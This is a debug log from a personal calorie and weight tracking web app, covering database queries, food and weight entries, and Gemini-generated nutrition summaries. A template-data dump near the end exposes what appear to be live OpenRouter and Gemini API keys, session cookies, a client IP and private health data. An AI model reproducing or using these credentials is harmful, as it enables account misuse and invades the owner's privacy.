      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-19T07:07:58.305Z server-connect:output items_consumed_today: [
  {
    id: 447,
    item_name: 'Walnut',
    calories: 26,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 3,
    quantity: '2 pieces'
  },
  {
    id: 448,
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop'
  },
  {
    id: 449,
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 3,
    quantity: '100 ml'
  },
  {
    id: 450,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)'
  },
  {
    id: 451,
    item_name: 'Milk Tea (without sugar)',
    calories: 30,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 1,
    quantity: '100ml'
  },
  {
    id: 452,
    item_name: 'Roti',
    calories: 350,
    protein_gm: 11,
    carbs_gm: 74,
    fat_gm: 4,
    quantity: '3.5'
  },
  {
    id: 453,
    item_name: 'Aloo Matar Sabzi',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 23,
    fat_gm: 6,
    quantity: '1 serving (approx 150g)'
  }
]
2025-12-19T07:07:58.305Z server-connect:app Executing action step paged
2025-12-19T07:07:58.305Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-19T07:07:58.307Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 15,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-19T07:07:58.307Z server-connect:app Executing action step run
2025-12-19T07:07:58.307Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-19T07:07:58.308Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 447 | Walnut | 26 | 1 | 1 | 3 | 2 pieces |\n' +
  '| 448 | Pre-workout | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 449 | Milk Tea (without sugar) | 60 | 3 | 5 | 3 | 100 ml |\n' +
  '| 450 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 451 | Milk Tea (without sugar) | 30 | 3 | 5 | 1 | 100ml |\n' +
  '| 452 | Roti | 350 | 11 | 74 | 4 | 3.5 |\n' +
  '| 453 | Aloo Matar Sabzi | 150 | 5 | 23 | 6 | 1 serving (approx 150g) |\n' +
  '\n'
2025-12-19T07:07:58.308Z server-connect:app Executing action step run
2025-12-19T07:07:58.308Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-19T07:07:58.309Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-19T07:07:58.309Z server-connect:app Executing action step setvalue
2025-12-19T07:07:58.309Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-19T07:07:58.309Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 447 | Walnut | 26 | 1 | 1 | 3 | 2 pieces |\n' +
  '| 448 | Pre-workout | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 449 | Milk Tea (without sugar) | 60 | 3 | 5 | 3 | 100 ml |\n' +
  '| 450 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 451 | Milk Tea (without sugar) | 30 | 3 | 5 | 1 | 100ml |\n' +
  '| 452 | Roti | 350 | 11 | 74 | 4 | 3.5 |\n' +
  '| 453 | Aloo Matar Sabzi | 150 | 5 | 23 | 6 | 1 serving (approx 150g) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-19T07:07:58.309Z server-connect:app Executing action step processWithGemini
2025-12-19T07:07:58.309Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-19T07:07:59.875Z server-connect:output health_summary: {
  summary: "The day's nutrition shows a good inclusion of protein from whey, supporting muscle development goals. However, the meal composition leans heavily on carbohydrates, with limited variety in vegetables and healthy fats. Consistent early morning gym sessions are a positive for recovery and progress. Overall, the day is decent but could benefit from more balanced nutrient intake.",
  rating: 6,
  good_points: [
    'Inclusion of whey protein to support muscle development.',
    'Consistent early morning gym attendance.',
    'Pre-workout consumed to aid training performance.'
  ],
  bad_points: [
    'High carbohydrate intake from roti and aloo matar.',
    'Limited variety of vegetables and micronutrients.',
    'Potential for insufficient healthy fats beyond walnuts.'
  ],
  suggestions: [
    'Incorporate a source of lean protein with the roti and sabzi.',
    'Add a serving of diverse vegetables to the meal.',
    'Ensure adequate hydration throughout the day.',
    'Consider a more balanced snack post-workout if needed.'
  ],
  predicted_weight_trend: 'gradual loss',
  predicted_weight: 70.2
}
2025-12-19T07:07:59.875Z server-connect:app Executing action step condition
2025-12-19T07:07:59.875Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-19T07:07:59.876Z server-connect:app Executing action step delete
2025-12-19T07:07:59.876Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-19T07:07:59.877Z server-connect:output delete: { affected: 1 }
2025-12-19T07:07:59.877Z server-connect:app Executing action step insert
2025-12-19T07:07:59.877Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-19T07:07:59.877Z server-connect:output insert: { affected: 1, identity: 41 }
2025-12-19T07:07:59.877Z server-connect:output condition: undefined
2025-12-19T07:08:00.101Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-19T07:08:00.101Z server-connect:app Executing action step identify
2025-12-19T07:08:00.102Z server-connect:app options: { provider: 'security' }
2025-12-19T07:08:00.102Z server-connect:output identity: 1
2025-12-19T07:08:00.102Z server-connect:app Executing action step restrict
2025-12-19T07:08:00.102Z server-connect:app options: { provider: 'security' }
2025-12-19T07:08:00.102Z server-connect:output restrict: undefined
2025-12-19T07:08:00.102Z server-connect:app Executing action step single
2025-12-19T07:08:00.102Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-19T07:08:00.102Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "The day's nutrition shows a good inclusion of protein from whey, supporting muscle development goals. However, the meal composition leans heavily on carbohydrates, with limited variety in vegetables and healthy fats. Consistent early morning gym sessions are a positive for recovery and progress. Overall, the day is decent but could benefit from more balanced nutrient intake.",
    bad_points: [
      'High carbohydrate intake from roti and aloo matar.',
      'Limited variety of vegetables and micronutrients.',
      'Potential for insufficient healthy fats beyond walnuts.'
    ],
    good_points: [
      'Inclusion of whey protein to support muscle development.',
      'Consistent early morning gym attendance.',
      'Pre-workout consumed to aid training performance.'
    ],
    suggestions: [
      'Incorporate a source of lean protein with the roti and sabzi.',
      'Add a serving of diverse vegetables to the meal.',
      'Ensure adequate hydration throughout the day.',
      'Consider a more balanced snack post-workout if needed.'
    ],
    predicted_weight: 70.2,
    predicted_weight_trend: 'gradual loss'
  },
  date: '2025-12-18T18:30:00.000Z'
}
2025-12-19T08:13:29.231Z server-connect:app Executing action step identify
2025-12-19T08:13:29.231Z server-connect:app options: { provider: 'security' }
2025-12-19T08:13:29.231Z server-connect:output identity: 1
2025-12-19T08:13:32.070Z server-connect:app Executing action step identify
2025-12-19T08:13:32.070Z server-connect:app options: { provider: 'security' }
2025-12-19T08:13:32.070Z server-connect:output identity: 1
2025-12-19T08:36:29.920Z server-connect:app Executing action step identify
2025-12-19T08:36:29.920Z server-connect:app options: { provider: 'security' }
2025-12-19T08:36:29.920Z server-connect:output identity: 1
2025-12-19T08:36:32.037Z server-connect:app Executing action step identify
2025-12-19T08:36:32.037Z server-connect:app options: { provider: 'security' }
2025-12-19T08:36:32.037Z server-connect:output identity: 1
2025-12-19T09:04:28.238Z server-connect:app Executing action step identify
2025-12-19T09:04:28.238Z server-connect:app options: { provider: 'security' }
2025-12-19T09:04:28.238Z server-connect:output identity: 1
2025-12-19T09:04:30.628Z server-connect:app Executing action step identify
2025-12-19T09:04:30.628Z server-connect:app options: { provider: 'security' }
2025-12-19T09:04:30.628Z server-connect:output identity: 1
2025-12-19T09:27:41.233Z server-connect:app Executing action step identify
2025-12-19T09:27:41.233Z server-connect:app options: { provider: 'security' }
2025-12-19T09:27:41.233Z server-connect:output identity: 1
2025-12-19T09:27:44.106Z server-connect:app Executing action step identify
2025-12-19T09:27:44.106Z server-connect:app options: { provider: 'security' }
2025-12-19T09:27:44.106Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 09:31:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 09:31:39' as DATETIME)"
}
2025-12-19T09:37:20.807Z server-connect:app Executing action step identify
2025-12-19T09:37:20.807Z server-connect:app options: { provider: 'security' }
2025-12-19T09:37:20.807Z server-connect:output identity: 1
2025-12-19T09:37:23.586Z server-connect:app Executing action step identify
2025-12-19T09:37:23.586Z server-connect:app options: { provider: 'security' }
2025-12-19T09:37:23.587Z server-connect:output identity: 1
2025-12-19T09:46:14.235Z server-connect:app Executing action step identify
2025-12-19T09:46:14.235Z server-connect:app options: { provider: 'security' }
2025-12-19T09:46:14.235Z server-connect:output identity: 1
2025-12-19T09:46:16.912Z server-connect:app Executing action step identify
2025-12-19T09:46:16.912Z server-connect:app options: { provider: 'security' }
2025-12-19T09:46:16.912Z server-connect:output identity: 1
2025-12-19T09:57:09.229Z server-connect:app Executing action step identify
2025-12-19T09:57:09.229Z server-connect:app options: { provider: 'security' }
2025-12-19T09:57:09.229Z server-connect:output identity: 1
2025-12-19T09:57:10.794Z server-connect:app Executing action step identify
2025-12-19T09:57:10.794Z server-connect:app options: { provider: 'security' }
2025-12-19T09:57:10.794Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 10:00:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 10:00:14' as DATETIME)"
}
2025-12-19T10:13:38.235Z server-connect:app Executing action step identify
2025-12-19T10:13:38.235Z server-connect:app options: { provider: 'security' }
2025-12-19T10:13:38.236Z server-connect:output identity: 1
2025-12-19T10:13:40.214Z server-connect:app Executing action step identify
2025-12-19T10:13:40.215Z server-connect:app options: { provider: 'security' }
2025-12-19T10:13:40.215Z server-connect:output identity: 1
2025-12-19T10:19:24.663Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-19T10:19:24.663Z server-connect:app Executing action step identify
2025-12-19T10:19:24.664Z server-connect:app options: { provider: 'security' }
2025-12-19T10:19:24.664Z server-connect:output identity: 1
2025-12-19T10:19:24.664Z server-connect:app Executing action step restrict
2025-12-19T10:19:24.664Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:19:24.665Z server-connect:output restrict: undefined
2025-12-19T10:19:24.665Z server-connect:app Executing action step processWithGemini
2025-12-19T10:19:24.665Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-19T10:19:26.142Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Milk Tea (without sugar)',
      quantity: '100ml',
      calories_consumed: 30,
      total_calories: 30,
      protein: 1.7,
      carbs: 2.5,
      fat: 1.5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Relatively low in calories and can be a good source of hydration. If using full-fat milk, switching to skim or low-fat milk can further reduce calories and fat.'
    }
  ],
  total_macros: {
    protein: { value: 1.7, unit: 'g' },
    carbs: { value: 2.5, unit: 'g' },
    fat: { value: 1.5, unit: 'g' }
  }
}
2025-12-19T10:19:29.970Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-19T10:19:29.971Z server-connect:app Executing action step identify
2025-12-19T10:19:29.971Z server-connect:app options: { provider: 'security' }
2025-12-19T10:19:29.971Z server-connect:output identity: 1
2025-12-19T10:19:29.971Z server-connect:app Executing action step restrict
2025-12-19T10:19:29.971Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:19:29.971Z server-connect:output restrict: undefined
2025-12-19T10:19:29.971Z server-connect:app Executing action step condition
2025-12-19T10:19:29.971Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-19T10:19:29.972Z server-connect:app Executing action step repeat
2025-12-19T10:19:29.972Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-19T10:19:29.972Z server-connect:app Executing action step insert
2025-12-19T10:19:29.972Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-19T10:19:29.973Z server-connect:output calories: { affected: 1, identity: 454 }
2025-12-19T10:19:29.973Z server-connect:output repeat: [ {} ]
2025-12-19T10:19:29.973Z server-connect:output condition: undefined
2025-12-19T10:19:30.185Z server-connect:router Serving templateView /calorie-tracker
2025-12-19T10:19:30.185Z server-connect:app Executing action step identify
2025-12-19T10:19:30.185Z server-connect:app options: { provider: 'security' }
2025-12-19T10:19:30.185Z server-connect:output identity: 1
2025-12-19T10:19:30.185Z server-connect:app Executing action step restrict
2025-12-19T10:19:30.185Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T10:19:30.185Z server-connect:output restrict: undefined
2025-12-19T10:19:30.186Z server-connect:router Render template layouts/main
2025-12-19T10:19:30.186Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T18:03:30.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
